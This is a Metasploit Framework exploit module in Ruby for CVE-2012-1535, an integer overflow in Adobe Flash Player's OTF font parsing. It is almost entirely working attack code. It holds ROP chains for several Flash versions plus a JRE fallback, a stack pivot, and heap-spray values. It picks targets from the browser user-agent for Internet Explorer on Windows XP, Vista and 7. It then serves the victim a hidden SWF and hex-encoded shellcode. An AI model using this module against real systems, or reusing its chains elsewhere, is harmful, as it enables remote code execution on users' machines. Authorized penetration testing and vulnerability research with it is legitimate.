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metasploit-framework/modules/exploits/windows/browser/adobe_flash_otf_font.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file
with a large nTables value in the 'kern' header, it is possible to trigger an
integer overflow, which results in remote code execution under the context of the
user. This vulnerability has also been exploited in the wild in limited targeted
attacks.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', #Through iDefense
'sinn3r',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2012-1535' ],
[ 'OSVDB', '84607'],
[ 'BID', '55009'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
[ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-18.html']
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Tested successfully on:
# Flash 11.3.300.268
# Flash 11.3.300.265
# Flash 11.3.300.257
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => true,
'ASLR' => false
}
],
[
'IE 7 on Windows Vista SP2',
{
'Rop' => nil
}
],
[
'IE 8 on Windows 7 SP1',
{
'Rop' => true,
'ASLR' => true
}
],
[
'IE 9 on Windows 7 SP1',
{
'Rop' => true,
'ASLR' => true
}
]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2012",
'DefaultTarget' => 0))
register_options(
[
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
], self.class)
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def get_payload(t, flash_version=nil)
if t['Rop'].nil?
p = [
0x0c0c0c0c, # mapped at 1e0d0000
0x0c0c0c0c,
0x0c0c0c0c, # mapped at 1e0d0008
].pack("V*")
p << payload.encoded
else
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
0x106e3384, # <- *&VirtualProtect()
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
0x10649004, # ROP NOP (-> edi)
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
nop, # NOPS (-> eax)
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
].pack("V*")
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
0x106e338c, # <- *&VirtualProtect()
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
0x105c1812, # ROP NOP (-> edi)
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
nop, # NOPS (-> eax)
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
].pack("V*")
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
0x106e438c, # <- *&VirtualProtect()
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
0x10308b0f, # ROP NOP (-> edi)
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
nop, # NOPS (-> eax)
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
].pack("V*")
else
print_status("Default back to JRE ROP")
stack_pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
p = stack_pivot
p << rop
p << payload.encoded
end
return p
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[4] #IE 7 on Windows Vista SP2
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7 SP1
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7 SP1
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")
my_target = get_target(agent)
print_status("Client requesting: #{request.uri}")
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
# The SWF request itself
if request.uri =~ /\.swf$/
print_status("Sending SWF")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end
# The TXT payload request
if request.uri =~ /\.txt$/
flash_version = request.headers['x-flash-version']
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
print_status("Sending Payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
#swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
swf_uri = "/#{@resource_name}.txt.swf"
html = %Q|
<html>
<head>
</head>
<body>
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
<param name="movie" value="#{swf_uri}">
<param name="FlashVars" value="s=#{@resource_name}">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
# we need to handle direct /pay.txt requests
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path' => "/#{@resource_name}.txt", 'Proc' => proc}) rescue nil
print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@swf = create_swf
@resource_name = Rex::Text.rand_text_alpha(5)
vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
vprint_status("URIPATH set to #{datastore['URIPATH']}")
super
end
def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "Main.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def cleanup
vprint_status("Removing txt resource")
remove_resource("/#{@resource_name}.txt") rescue nil
super
end
end
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